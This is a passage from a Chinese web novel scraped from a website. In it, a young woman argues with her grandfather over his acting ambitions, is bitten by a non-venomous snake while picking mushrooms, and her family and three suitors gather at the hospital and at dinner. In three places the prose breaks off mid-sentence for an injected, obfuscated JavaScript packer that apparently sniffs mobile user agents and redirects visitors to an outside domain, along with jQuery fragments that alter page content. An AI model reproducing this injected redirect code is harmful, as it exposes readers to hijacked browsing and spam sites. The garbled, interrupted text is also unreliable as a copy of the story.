双重转折等于肯定,常乐敏锐地察觉到,他内心深处还是挺想接这个活儿的。 “试试也行,问题是……”常乐点开其中一条视频,打开评论区,找到博主的一条回复,下面赫然显示着IP地址在东部某沿海省份。 “跟我们这儿隔了几千公里呢。”常乐试图劝说姥爷,“你不是不喜欢出远门吗?让你去旅游你都不愿意,现在反倒想去打工了?” 姥爷低头沉默着。 “而且,当演员很辛苦的,就算是拍这种网络短剧,也要经常要熬到后半夜。你确定你的身子骨能受得了这种折腾?” 姥爷一声不吭,像挨训的小学生。 “别瞎想了。”常乐退出私信页面,把手机还给姥爷,“别信网上那些人说什么‘八十岁正是外出闯荡的年纪’。你看看姥姥,出门旅游一趟就元气大伤。什么年纪就该干什么事,你都这把年纪了。就该安安稳稳地待在家里,别折腾了。” 姥爷忽然抬起头,问她:“八十岁不适合外出闯荡,那什么年龄合适?” 常乐不假思索道:“二十多岁呗。” 姥爷质问道:“你现在不正是二十多岁吗?不是应该外出闯荡吗?为什么也在家待着?” 常乐:“……姥爷,扎心了啊。” 我好心劝你,你不领情就罢了,怎么还净往我痛处戳呢? 姥爷又低下了头,嘟囔道:“我没想指责你,只是觉得你的想法太迂腐了。” 常乐怀疑自己听错了:“啥?我?迂腐?” 姥爷振振有词:“对,就是迂腐。你说什么年纪就该干什么事,照你这个观点,咱们国家人均寿命是78岁,我是不是该抹脖子自尽了?” “姥爷,你这话说的……”常乐一时哑然,只得摆摆手,“你这……唉!算了,随你吧。” 她还没从“迂腐”这个词带来的震惊中回过神来。 59. 59 “他居然说我迂腐?” 常乐盘腿坐在地板上,激动地拍打着膝盖,忿忿不平道:“一个八十多岁的老头子,还说我迂腐?他以为他玩了几天抖音,就赶上了时代的浪潮?就看清了社会的现状?就能在这样恶劣的大环境中,发展出事业的第二春?” 易诚坐在她对面,低头抿笑。 训练室里干净明亮,各种教辅用具都被收拾得整整齐齐,堆放在靠墙的架子上。用来播放教学视频的大电视此刻正放着《猫和老鼠》,几个训练完的小孩坐在地板上,仰着脑袋,看得津津有味。 抱怨了半天,最后,常乐总结道:“没遭受过现实毒打的老年人,总是这么天真,不知道社会复杂,人心险恶。我好心提醒他,还被扣上一顶迂腐的帽子,真是……” 她摇摇头,重重地叹了口气。 等她终于停止絮叨,易诚才和颜悦色地说:“你不迂腐,我相信你说‘什么年纪该干什么事’,并不是你内心真实的想法,只是为了劝你姥爷。不过,你有点拧巴,所以才会被他一句话说破防。” “我?拧巴?”常乐的眉毛挑得老高,眼珠子都快翻出来了。 “你先别生气,这不是什么贬义词,只是一种很常见的状态。”易诚不慌不忙地解释,“你观察一下周围的人,就会发现,不管是年轻人还是中年人,很少有不拧巴的。每个人都在几种想法之间反复横跳,既要又要。能自洽的人少之又少。” “我也是这样?”常乐的自信心开始动摇了,“不是,我怎么就既要又要了?” 易诚直视她的眼睛,直言不讳道:“你既想要大城市的繁华,又想要家乡的安稳。大城市,意味着独立和自由,和未来无限的可能。家乡,意味着吃喝不愁,时间上的充裕,和家人的陪伴。你想想,你是不是二者都想要?” 常乐蹙起眉头,认真复盘起自己的心路历程。 在江城上班时,她总是在怀念家的温暖和包容,尤其是受了委屈或者加班到凌晨时,她恨不得立刻裸辞,回家疗伤。 在家里这段时间,她倒是没有怀念过上班的日子,但每次在电视或者网络上看到大城市的年轻男女,总是打扮得那么时髦精致,生活那么丰富精彩,她又忍不住幻想,如果当初坚持下去,会不会有另一番景象…… 常乐替自己辩解:“我这样也很正常吧?” “对啊,就像我开头说的,大部分人都会这样,在几种想法之间摇摆不定。”易诚顿了顿,继续说,“你姥爷也是,他习惯了家里的安逸舒适,但又想抓住这个工作机会。也许现在,第二种想法占了上风。” 有家长来接小孩了。一个小姑娘不情不愿地站起身,边走边回头看,视线舍不得离开电视一秒。 小姑娘跟易诚说再见,易诚也笑着摆摆手。 目送小孩和家长离开后,常乐忍不住问易诚:“今年招了多少学生了?” “将近二十个。” “不错嘛,比去年还多。” 易诚笑了笑,“这得感谢方凛的帮忙,他给我介绍了不少生源,有几个来试课后就直接报名了,还有几个还在考虑中。” 常乐想起什么,急忙掏出手机,打开与钟煜的聊天记录。 “对了,我这儿也有几个。”她递上手机,一一介绍道,“这个小胖墩,听说最近在减肥,你可以跟他家长联系一下。这个小姑娘身体一直不好,她妈妈正打算给她报个户外运动班加强锻炼呢。还有这个小皮猴,特别好动……” 易诚接过手机,好奇地问:“你哪儿来的资源?” 常乐挑挑眉,得意地笑了,“我人脉广嘛。” 资源交换完毕后,话题又转回常乐和姥爷身上。 易诚问:“你有没有问过你姥爷,为什么想当网红呢?” 常乐不假思索道:“这还用问嘛。现在谁不想当网红?拍拍视频就能赚钱,又轻松又自由。” 易诚反问:“你觉得他是为了赚钱?” “不然呢?”常乐挑起眉,“不为谋利,难道是为了出名?他不是这种虚荣的人。” 易诚思索片刻,认真地说:“我觉得,你应该搞清楚他内心真正想要什么,才能对症下药。” -- 常乐的确猜不透姥爷内心真实的想法,但她很早就领悟到一件事——也不知道是从哪儿遗传下来的倔驴基因,他们全家都是大犟种,一旦有谁犯了轴,十头牛也拉不回来。 对于姥爷要外出闯荡的想法,全家人,包括两条狗,都表示强烈的反对。 此刻的姥爷宛如叛逆期的中二少年,别人越反对,他就越顽固,一副要与全世界为敌的架势。 “我不管,我就要去!当演员是我从小的梦想,你们谁也别想拦着我!” 姥姥冷嗤一声,“从小的梦想?你小时候看过几部电影?家里有电视吗?那时候,连吃顿饱饭都是奢望,你还想着当演员?” “爸,别瞎想了。”林文娟冷着脸说,“你身份证在我这儿,我不给你,你连车票都买不了。” “对!”姥姥附和道,“你的存折和银行卡都是我替你保管,手机里只有几百块钱,你去了外地能活几天!” 两个人放完狠话,齐刷刷望向常建民,要他表个态。 常建民筷子一抖,讷讷地说:“那我……把宽带停了,让他上不了网?” 轮到常乐了。 她弱弱地说:“要不……我把他的账号举报了,说他,呃,为老不尊,倚老卖老,众叛亲离,让他还没出道就塌房?” 常建民小声嘀咕:“有点狠了吧?” 姥爷气得筷子一甩,紧咬嘴唇,喘气如牛,当场表演绝食。 林文娟被他气笑了:“爸,这么浮夸的演技,折磨我们就行,就放过观众吧。” 一整晚,姥爷坚持滴水不进、粒米未入,家里人也不惯着他,当着他的面,把他的饭菜通通倒进了狗盆里。 胜宝闻到香味,兴冲冲地跑过来,刚要开吃,又发觉不对,人类的粗茶淡饭怎么比得上狗粮冻干罐头营养又美味呢? 她不情不愿地吃了两口,就恹恹地回到狗窝趴着,成为这场家庭冷战中第一个受害者。 第二个受害者是常乐。 林文娟把姥爷“聊发少年狂”怪罪到她头上:“要不是你整天让他模仿那个苏大强,他怎么会染上这一堆臭毛病?跟那个倔老头子一模一样,气死人了!” 常乐:“……哈?” 姥爷闹了好几天绝食,但全家人都没当回事儿,因为有好几个下象棋的老头跟姥姥抱怨,说林老头一到饭点就来串门,已经蹭了他们好几顿饭了,临走时还要顺走他们小孙子的零食水果。 反正他这张嘴,一刻没闲着。 几个老头还问姥姥,听说林老头要当演员了,真的假的? “听他瞎逼逼。”姥姥挥舞着刚买的芹菜,不屑地冷笑,“他要是能当演员,我请全小区的人吃饭。” -- 一到周末,常建民就蠢蠢欲动了。他怂恿常乐:“去采蘑菇吧?我约一下方师傅,有他带着,肯定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15926079|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不会采错。” “好啊。”一说到吃,常乐就充满了干劲。 她快速收拾好要带的装备,放进后备箱,正要启动车辆时,常建民忽然接了个电话,一连串“哎哎哎!行行行!”后,他挂断电话,面露难色地向常乐解释,单位临时要开会,他必须参加。这次采蘑菇行动,只能让常乐一个人去了。 常乐面无表情地说:“爸,你刚刚接的是闹钟。” 常建民呆了呆,讪笑道:“怎么会呢?我的闹钟跟来电铃声是一样的。” 常乐呵笑一声:“而且你的屏幕都是黑的。” “……”常建民沉默两秒,面不改色道,“总之呢,我今天是去不成了,你自己去吧。多采点回来,咱们搞个丛菇肉片汤,再加点小青菜,小粉丝,简直人间一绝啊。” 常乐咽了咽口水。 虽然她一眼识破了常建民的计谋,但她对美食实在没有抵抗力。 就这样,她独自驱车上路了。 常建民跟方凛约在郊外的一片野湖边,周围是一圈低矮的小山包,前几天刚下过雨,温度和湿度都适合蘑菇生长。 常乐远远看到那辆边三轮停在一片芦苇丛前,方凛就站在湖边,弯腰屈腿,手臂一甩,往湖面打了个水漂。 常乐停好车,刚要下去,忽然发现手机有十几个未接来电,全都来自于林文娟。 常乐心头一紧,急忙回拨过去。 “喂,妈!出什么事了?” 林文娟骂骂咧咧道:“你这死孩子,怎么不接电话呢?干什么去了?” “我手机调成静音了。”常乐解释道,“再说了,开车接电话不安全。什么事啊?” “我听你姥姥说,你又去找那个什么马蜂猎人了?” 常乐“嗯”了一声,“今天不打马蜂窝,我爸想喝丛菇汤了,让我跟方凛去山上采蘑菇。” 林文娟哼嗤一声,“你爸想喝,他怎么不自己去啊?” 常乐一脸无辜道:“他本来是要来的,出门前接了个电话,说单位要开会,就让我一个人来了。” “阴险小人!”林文娟低骂一声,“耍这种小花招!” “谁啊?”常乐装糊涂。 “你别管了,下午早点回来,有事!” “什么事啊?” 林文娟安静片刻,说:“我请你吃饭,行了吧?” 常乐忍不住笑了:“妈,咱俩之间还用得着请客吗?该不会饭局上还有其他人吧?” “……人多更热闹嘛。反正我来安排,你只需要准点到就行。” 常乐无奈地叹了口气,“该不会还要我洗个头、化个妆、再换身衣服吧?” “那倒不用,还是自然点好。”林文娟顿了下,忽然想到什么,语气严肃地交代道:“你跟那个什么方凛,千万别那个什么啊,注意点分寸!” 常乐无语得直翻白眼。 不远处,方凛回过头,发现了她,冲她挥了挥手。 常乐急忙收回白眼,扬起嘴角,将手伸出窗外,跟他打了个招呼。 “早点回来!” “知道了。”常乐挂断电话,连做了几个深呼吸,才将心头那股烦躁压了下去。 这两口子真是一个比一个能演。这么明晃晃的阳谋,当她是瞎了还是傻了啊? 不管了,还是采蘑菇要紧。 常乐戴上遮阳帽,从后备箱里拿出一个小背篓和两根登山杖,又往背篓里扔了两瓶矿泉水。 一切准备就绪,她大步走向方凛。 60. 60 方凛今天穿了一件黑色薄款冲锋衣,下身是一条工装裤,配一双低帮登山鞋,显得清爽又干练。 他走向常乐,视线在她身后扫了一圈,疑惑地问:“你爸没来?” 常乐哈哈干笑:“他跟我妈有点私人恩怨,现在估计在挨训呢。” 方凛没听明白,但也没多问。他从脚边提起一只竹筐,说:“走吧。” 两人沿着山脚小路往上爬,到半山腰就没路了,方凛随手捡了根树枝,在地上敲来敲去,拂开野草,给两人开路。 常乐递上一根登山杖,说:“用我这根吧。” 方凛回头看着她,忍不住笑了:“爬这种小土坡需要用两根登山杖?要不要再给你配个氧气瓶,免得有高反?” 常乐脸一红,解释道:“我、我这不是怕路滑嘛,前几天刚下过雨……” 话音刚落,脚下一个出溜,她猝不及防地向前一扑。 幸好,方凛眼疾手快,一把攥住她的胳膊,稳稳地扶住了她。 “谢了……”常乐大口喘着气,扶正自己的帽子,又拍拍胸口给自己顺气。 方凛笑着摇摇头,“看来你对自己的判断还是挺准的,登山杖你自己拿着用吧。” 接下来的路就难走多了,常乐双手持登山杖,还是免不了脚底打滑,运动鞋也沾满了泥巴,越来越沉。她走得跌跌撞撞,气喘吁吁。 来到一片松树林里,方凛终于停下脚步,用树枝拨开覆在地面厚厚的松针,转头对常乐说:“这里就有。” 常乐急忙上前,蹲在地上,双手拂开松针,几只橙色的小蘑菇露出了头。 丛菇长得小巧可爱,一般呈黄色或橙色,伞盖滑溜溜的,手指在杆子底部轻轻一拨,仿佛能听到“啵”的一声轻响,像小鱼吐泡泡。 松针底下藏了一大片,她一株接一株采得不亦乐乎,直到一根树枝敲在她的手背上。 “这个不是,别碰!”方凛急声提醒道。 可惜还是迟了一步,常乐已经将那朵滥竽充数的蘑菇连株拔起。 她吓得赶紧扔回去。 方凛拧开一瓶矿泉水,蹲在她面前,一边给她洗手,一边解释:“刚刚那株虽然跟丛菇长得很像,但是你仔细看,它的杆子上有一圈菌环,这种大概率是有毒的。” 常乐轻呼一口气,想起上次姥姥把她和常建民采的一袋蘑菇全倒了,不禁感叹,老太太真是有先见之明。 她也许不懂蘑菇,但她懂这两个二货。 “谢谢啊。”常乐站起身,手在衣服上蹭干。她好奇地问方凛:“这种冷知识,你是怎么知道的?” 方凛淡淡一笑,说:“对你们城里人来说是冷知识,对我们农村人来说,就是保命的常识。小时候,每年四月和九月,只要头一天下了雨,第二天,我们就得跟着大人去山上采丛菇,然后背到集市上去卖。有次,刚到集市,一伙人就冲上来,把一个伯伯按在地上踢打。一问才知道,他前几天卖的丛菇里混进去了毒蘑菇,人家买回去后也没注意,做了一锅汤,全家人吃完后上吐下泻,送到医院才抢救回来。” 常乐听呆了,连眼都忘了眨:“后来呢?” “赔钱呗。”方凛叹了口气,“那个伯伯把家里唯一一头牛都卖了,也填不上窟窿,后来老两口只好去卖血。” 常乐倒吸一口冷气。 “那你们村应该没人敢卖蘑菇了吧?” 方凛摇摇头,“这种山珍比普通的瓜果蔬菜值钱多了,卖一个月就能抵得上种地一年的收入,所以就算有风险,村里人也要继续干,只是采摘的时候更小心了。那时候,我要是采错了一朵,要被我爸踹上一脚。” 常乐唏嘘一声,颇为同情:“这都算童年阴影了吧?换做是我,肯定要恨蘑菇一辈子,见到它就要上去狠狠踹两脚!” “怎么会呢?”方凛忍俊不禁,“这都是小事,我根本没往心里去,更不用说记一辈子了。” 常乐一时默然,怔怔地盯着他的脸,心中忽然生出一丝羡慕。 她想起易诚说过,能自洽的人少之又少,可方凛就活得很自洽。他好像自然而然地选择了自己的人生道路,从不自我怀疑,也不会反复纠结。他甚至自觉地负担起了养育弟弟的重任,发自内心地关心和爱护他,从未抱怨过一句。 常乐想,也许他能给自己答案。 她喝了口水,润了润嗓,开始一本正经地采访他:“方凛,你这么年轻,又有本事,为什么选择留在这种小地方呢?老家的年轻人都去大城市打工了,你不想出去闯闯吗?” 方凛眉头一挑,反问:“出去闯闯,到底要闯出什么来?” “比如在大城市找份好工作,买房买车,结婚生子啊。” “听上去好无聊。”方凛说,“这些事,在老家一样可以做啊。” 常乐试图说服他:“但是,你以后就是大城市的人了,你的小孩一生下来就可以享受大城市所有的福利和教育。你难道不想为了下一代,努力拼搏吗?” 方凛垂眸看着她,问:“这是你真实的想法吗?自己都还没活明白,就开始规划起小孩的人生了?” 常乐看着他的眼睛,一时哑然。 方凛认真地说:“其实,在哪儿生活根本不重要,重要的是你喜欢做什么,以及,你想过一种什么样的生活。 “就比如我,喜欢一切户外活动,登山、爬树、挖野菜、打野猪,我都觉得有意思。让我成天待在钢筋水泥的笼子里,简直比坐牢还难受。 “当然,这种户外生活,在北上广深这种大城市也能实现,但是,我觉得那里的一切都太精致了,有人工雕琢的痕迹。我还是喜欢这里,更贴近自然,也更自由。” 常乐听得入了神,半晌没有说话。 “那你呢?”方凛问她,“你有没有想过,你喜欢做什么?” 常乐垂下眼眸,心头涌起一股莫名的失落。 “我好像……没有特别喜欢的事。” 方凛又问:“那你喜欢过哪一种生活呢?” 常乐陷入了沉默。 在大城市打工,攒钱买车买房,安家落户,好像是所有年轻人的梦想。 但是,是她的梦想吗? 她为什么会有这种执念呢?是因为周围人的攀比?短视频的洗脑?还是被社会的主流观点推着走? 方凛见她眉头紧锁,神色凝重,安慰道:“想不通就慢慢想。人生又不是一场考试,不是所有问题,都得在规定时间内,解出一个正确答案。” 常乐惆怅地叹了口气,“我还以为,你能给我个参考答案呢。” 方凛笑了,“这个问题,只有你自己能解答。” 接下来的时间,常乐沉默了许多,好不容易在一棵松树下发现一大片丛菇,也没了一开始的兴奋劲儿,只是机械地采摘着,脑海中一直盘旋着一个问题: “我到底喜欢干什么啊?” 吃?要不去当个探店博主吧?名气大了还能蹭吃蹭喝。 八卦?要不加入小区的信息中心,跟那群大妈们一起在背后蛐蛐别人? 吐槽?这算什么技能?长了嘴的人都能来上两句。 玩手机?这种爱好,她都不好意思说出来。 常乐越想越沮丧,觉得自己简直一无是处。 她拂开地上的松针,看到橘黄色的蘑菇就伸手去采,结果又被方凛敲了一棍子。 “看仔细点。”方凛语气略显严厉,“检查一下有没有菌环。” 常乐摘下一朵,确认没有,才扔进身后的背篓里。 松针底下还有朵大的,她伸手往里探,刚摸到一根肉乎乎的杆子,忽然听到一阵轻微的“簌簌”声。 紧接着,松针快速拱起,两根尖锐的针猛地刺进她的虎口处。 “啊!”常乐大喊一声,慌忙抽回手。 松针底下蹿出一条土黄色的小蛇,飞快地游走了。 “啊啊啊啊——”常乐吓得一屁股坐在地上,眼泪瞬间涌了上来,“我我我我被蛇咬了!” “别动!”方凛一个箭步冲上来,攥住她的手腕,仔细检查她手上的伤口。 虎口处有两个小孔,被他用力一掐,挤出两股殷红的血。 一阵刺痛感袭来,常乐只觉得浑身发软,呼吸不畅,心脏剧烈地跳动着,几乎跃出喉咙。 她大声哭嚎着:“啊啊啊!快救救我!我不想死啊!” “没毒没毒。”方凛安慰她,“你死不了。” “啊?梅毒?”常乐顿时呆住了,简直匪夷所思,“噫额,什么蛇这么脏啊?” 方凛认真地回答:“刚才我看了一眼,应该是菜花蛇。” 常乐吓得口不择言了:“我去!菜花!难怪有梅毒!真恶心!怎么办?我该不会感染了吧?赶紧带我去医院打针!” 方凛这才意识到他俩的对话驴唇不对马嘴。 “我的意思是,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15930153|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 条蛇没有毒。”他一脸无语地说,“它大名叫王锦蛇,专吃青蛙和老鼠,是条好蛇。” 常乐又气又急:“好蛇?那它咬我干嘛?我长得像老鼠吗?” “你吓到它了呗,刚刚那条是王锦蛇的幼蛇,胆子比较小,受到惊吓容易有过激反应。”方凛攥着她的手腕,举到她鼻子底下,“这蛇还有个特点,就是滂臭。不信你闻闻。” 常乐用力嗅了一下,差点呕出来。 “哕……不行不行,我还是得去医院。” “我都说了,这蛇没毒,把血挤出来就没事了。” “可是我感觉心慌、想吐、浑身无力,手也越来越痛。” 方凛低头一看,立马松开她的手腕,“哦,不好意思。” 白皙的手腕上多了一圈红印,足见他刚刚有多用力。 “你这是吓的。”他耐心解释道,“就算是被狗咬了一口,也会有这些症状的。” 常乐振振有词:“被狗咬也得去医院啊!” 方凛沉默几秒,无奈地叹了口气,“好吧,咱们下山。” 常乐一路连摔带滚下了山,火急火燎地冲到车上,忽然想到,万一自己半路上失去意识了,岂不成了马路杀手? 方凛没开过她的车,操作不熟,她也不放心。最终,两人决定坐他的边三轮去医院。 来的时候不觉得山路难走,回去的时候简直像在蹦迪,小坑小蹦,大坑直接腾空。常乐坐在挎斗里,一路上颠得骨架都散了,幸好腰上系了安全带,否则真的要被拆成几截了。 终于抵达人民医院,常乐晕乎乎地下了车,感觉脑浆都摇匀了。 “完了完了……”她踉踉跄跄地走到急诊室门口,扶着玻璃门,弯腰干呕,“我肯定是中毒了……赶紧叫医生……” 不等方凛进去喊人,几个护士已经急匆匆地推着担架床赶来了。 常乐被抬到床上,送进了急诊室。 方凛被拦在急诊室门外,一时不知道该干嘛。 虽然他确定那条蛇没有毒,但常乐刚刚的脸色实在太吓人了,感觉命不久矣。 斟酌片刻,他掏出手机,给常建民打了个语音电话。 还没等他说完,常建民就炸了,连珠炮似地发问:“什么?被蛇咬了?什么蛇?多大?多长?被咬多久了?打针了吗?打的什么针?……” 方凛耐心地解释,常建民仍不放心,反复确认后,他急吼吼地说:“让她坚持住!我马上来!” 电话刚一挂断,常乐就被护士搀扶着走了出来。 护士问方凛:“你是她的家属吗?” 方凛:“我是她朋友,她家属马上到。” 护士“哦”了一声,说:“给她做了个初步检查,身体没什么大问题,就是受了点惊吓。已经抽血送去化验了,半小时后会出结果。” 护士松开常乐的胳膊,正要转身进去,常乐一把抓住她,满脸求生欲地恳求道:“要不先给我打一针吧。” 护士哭笑不得:“针不能乱打的。得先确定你有没有中毒,中的什么毒,才能对症下药。” 常乐坐在急诊室大厅的候诊椅上,脸色苍白,内心忐忑,从未感觉时间如此难熬。 十几分钟后,急诊大厅里冲进来一道残影。 常建民猛地刹住脚步,张望了一圈,然后冲到常乐和方凛面前,气喘吁吁地问:“感、感觉怎么样?难受吗?” 常乐一见到他,“哇”地一声就哭了出来。 父女俩抱头痛哭,方凛看呆了,尴尬地别过脸。 等他们好不容易平复情绪,几分钟后,易诚出现在了急诊室门口,左手搀扶着姥姥,右手牵着姥爷。 “哎哟我的乐儿呀!你怎么搞的?吓死我们了!” 姥姥一路喊叫着小跑过来,抱着常乐的脑袋,又是一顿哭嚎。 又过了几分钟,林文娟带着钟煜急匆匆地赶到了。 “妈!”常乐张开双臂,又哭了。 林文娟刚要哭,一见到常建民,顿时气不打一处来,一巴掌削在他的背上,臭骂道:“要不是你非要吃什么狗屎蘑菇,乐宝也不会被蛇咬!你这嘴馋的毛病什么时候能改了?” 急诊大厅里,众人惊诧地围观着这一幕—— 一对夫妻在打架,准确地说,是女方在单方面殴打男方。两位老人在抱着小姑娘抹眼泪,还有三个年轻人在尴尬地握手,然后,不约而同地将脸撇向不同的方向。 61. 61 常建民自知理亏,挨了训也不敢还口,只能等林文娟骂累了后,偷偷凑到常乐身边,试图借姥姥姥爷的身躯庇护自己。 姥姥掏出一只大手绢擤了擤鼻涕,一抬眼看到钟煜,惊讶地问:“哎,小钟啊,你怎么来了?” 钟煜微笑着解释:“我跟林姨正在餐厅等人,她接了一个电话,拔腿就往外跑。我怕她出事,就送她过来了。” 林文娟调整一下表情,把钟煜拉到姥爷面前,介绍道:“爸,这是钟老师,你还没见过他吧?” 姥爷上下打量着他,满意地点点头,“嗯嗯,不错不错,长得一表人才。” 常建民悻悻地瞥他一眼,似乎有些不服。他抬手指着方凛,介绍道:“那是我经常跟你们提起的方师傅,方凛。” 方凛冲两位老人微笑点头,又转向林文娟。 林文娟哼嗤一声,别扭地说:“还……行吧。” 姥姥搡了搡姥爷,小声说:“小伙儿长得还不错,挺精神的。” 姥爷点点头,“嗯嗯,不错不错。” 常建民看看钟煜,又看看方凛,问:“你俩谁大?” 方凛:“我刚满二十八。” 钟煜:“那我差点,我应该喊你哥。” 方凛:“客气客气。” 两个人都不善社交,话到这儿就止住了,气氛更尴尬了。 常乐注意到夹在两人中间的易诚,转头问姥姥:“易诚怎么跟你们一起过来了?你们该不会在小区里到处宣传我的事迹吧?” 姥姥急忙说:“没有,我跟你姥爷慌里慌张地出门,顺道路过易诚家,他见我们着急,就送我们过来了。” “顺道?”常乐狐疑地挑起眉。 从她家到小区大门这段路,根本不会经过易诚的培训班吧? 估计是两位老人急着赶过来,又舍不得打车,才想着去找易诚帮忙。 “对了,”姥姥把易诚拉到身边,满脸自豪地介绍道,“这我们小区的邻居,跟乐乐从小一起长大的。这小伙子也不错,又孝顺又上进,很优秀的。” 易诚低着头,满脸窘色,耳根都红了。 全场就钟煜没见过易诚,他很自然地接话:“刚刚我们聊了几句,他跟常乐是同龄人,比我们都小。” 易诚:“对,我应该喊你大哥。” 钟煜笑了,抬手指着方凛,“这才是大哥,我是二哥。” 易诚老老实实地喊:“方大哥,钟二哥。” 方凛客客气气地说:“哎,大弟,二弟。” 常乐:“……” 尴尬中有一丝好笑。 好笑中又有一丝说不清道不明的失落。 按照言情小说的套路,三位潜在的情敌初次会晤,难道不应该为了她争风吃醋、说话夹枪带棍、冷嘲热讽吗? 怎么没有一丝要雄竞的意思? 一派和气、彬彬有礼,甚至开始称兄道弟,摆盘桃子就能结拜了。 常乐心想,看来三个人对她都没什么想法,某些人的如意算盘要落空了。 时间到了,常乐起身去抽血窗口领取化验结果,一队人浩浩荡荡地跟在她身后。 窗口的护士见到这阵仗,吓了一大跳,探出脑袋问:“有什么问题吗?” “拿结果。”常乐递上取号单。 护士松了口气,收回脑袋,在一沓纸里抽出一张,递给常乐。 常乐拿着化验结果,仔细查看起来,身后几只脑袋纷纷凑了过来。 林文娟扫了一眼,得出结论:“啥事没有,自己吓自己。” 常乐有些不敢相信,拿着化验结果进去找医生,得到的回复也是:“一切正常,没中毒哈。你可以回去了。” “不需要再留院观察吗?”常乐仍不放心。 林文娟“啧”了一声,把她拖出急诊室,“别浪费医疗资源了。” 常乐扭了扭脖子,又转了转肩膀,说:“可是我觉得浑身都痛。” 方凛一针见血道:“坐摩托车颠的。” 姥姥见常乐仍是一脸愁容,安慰道:“咱们先回去观察观察,有任何不对劲,第一时间把你送过来,行了吧?” 常乐不满地嘟囔:“你们一点都不在乎我的生命安全!万一毒素还没进入血液呢?万一这种毒很罕见,检测不出来呢?就这么回去了,万一我突然发病,抢救不及时怎么办?” 林文娟深吸一口气,咬牙忍了忍,问:“那你想怎么办?” 常乐脑袋一撇,牛脾气上来了,“你们想回去就回去吧,反正没人在乎我!我就待在这儿,等安全度过今晚再说。” 几个人面面相觑,谁也没主动开口。 没人想跟一头牛较劲。 “要不……”沉默良久后,常建民弱弱地说,“你们先回去,我留下来陪乐乐吧。” 毕竟是他有错在先,现在正是他表现的好时机。 “行吧。”林文娟拍拍常乐的肩,叮嘱道,“你就在这里住下吧,想住多久住多久。我们回去喝丛菇汤了。” 常乐瘪瘪嘴,哼嗤一声,不为所动。 “对了,”林文娟正要走,忽然想到什么,一脸紧张地对常乐说,“听说蛇毒发作起来很快的,留给你的时间不多了。你赶紧趁着意识还算清醒,把后事交代一下。你的手机密码是多少?银行卡密码呢?” 常乐:“……” 林文娟追问:“对了,你卡里还有三万多吧,打算怎么分配?” “……”常乐眨眨眼,脸上绽开灿烂的笑容,“我觉得我一时半会儿应该死不了,咱们回家吧。” 她挽着林文娟的胳膊,活蹦乱跳地往外走。 常建民冲林文娟比了个大拇指:“真乃神医啊。” 林文娟回他一个大白眼。 出门找车的时候,常乐这才想起,她的车还停在那个野湖边。 常建民莫名其妙又挨了林文娟一顿训:“你瞅瞅你办的这叫什么事?要不是你让她一个人去那个鸟不拉屎的地方,她能被蛇咬吗?能把车丢在那里吗?还不赶紧去取!” 常建民不敢争辩,缩头缩脑地准备去打车,方凛大步追上去,说:“常叔叔,我送你过去吧。” “哎,小方!”姥爷在身后喊住他,“取完了车一起回来,到家里来吃饭!” 方凛冲他挥了挥手。 剩下的人兵分两路,一拨坐易诚的车,一拨坐钟煜的车,回到了教师小区。 姥姥热情地留易诚在家里吃饭,林文娟也表示要感谢钟煜的帮忙,邀请他一起喝汤,两人半推半就地同意了。 常乐并没有多想,毕竟,两筐丛菇倒在一起,足足有两斤多,够煮上三大锅丛菇汤了。人多饭量大,正好能吃完。 姥姥把丛菇倒进水池里,一边搓洗一边检查,狐疑地问:“这些真的没毒吗?” 常乐把洗好的丛菇倒进沥水篮里,说:“放心吧,我亲手摘的,保证安全。” “就是你亲手摘的,我才不放心。”姥姥嘀咕道,“那个方师傅呢?还没回来吗?” “没那么快。” 姥姥思索片刻,说:“那我先切肉片吧。”她拿起菜刀,叮嘱常乐:“你别乱动,等方师傅回来检查一遍再说!” 常乐:“……” 一个小时后,常建民带着方凛风尘仆仆地赶回来了。 方凛一进屋,就被常乐召唤进了厨房,担起了质检的重任。 “这些都没事。”检查完毕,方凛把大个儿的蘑菇撕成两半,腐坏变质的挑拣出来,剩下的又仔仔细细地清洗了几遍,才放进沥水篮里。 姥姥在一旁观察了半天,满眼都是欣赏。 “小伙子干活还挺麻利的,在家里没少干吧?” 方凛不好意思地笑笑,“家里都是我做饭,习惯了。” 姥姥满意地点点头。 最后,就连三大锅丛菇肉片汤,也是方凛煮的。 他完全没把自己当外人,一边炒肉片,一边夸姥姥肉片切得好,薄厚适中,纹理整齐,这样煮出来的肉又鲜又嫩。 姥姥笑得合不拢嘴,还不时瞟一眼常乐,似乎在说:“你瞧瞧人家!” 八碗热气腾腾的丛菇肉片汤上桌了。怕大家吃不饱,常建民还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15934112|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去小区附近的羊肉泡馍馆买了一大袋饦饦馍。干馍就汤,越吃越香。 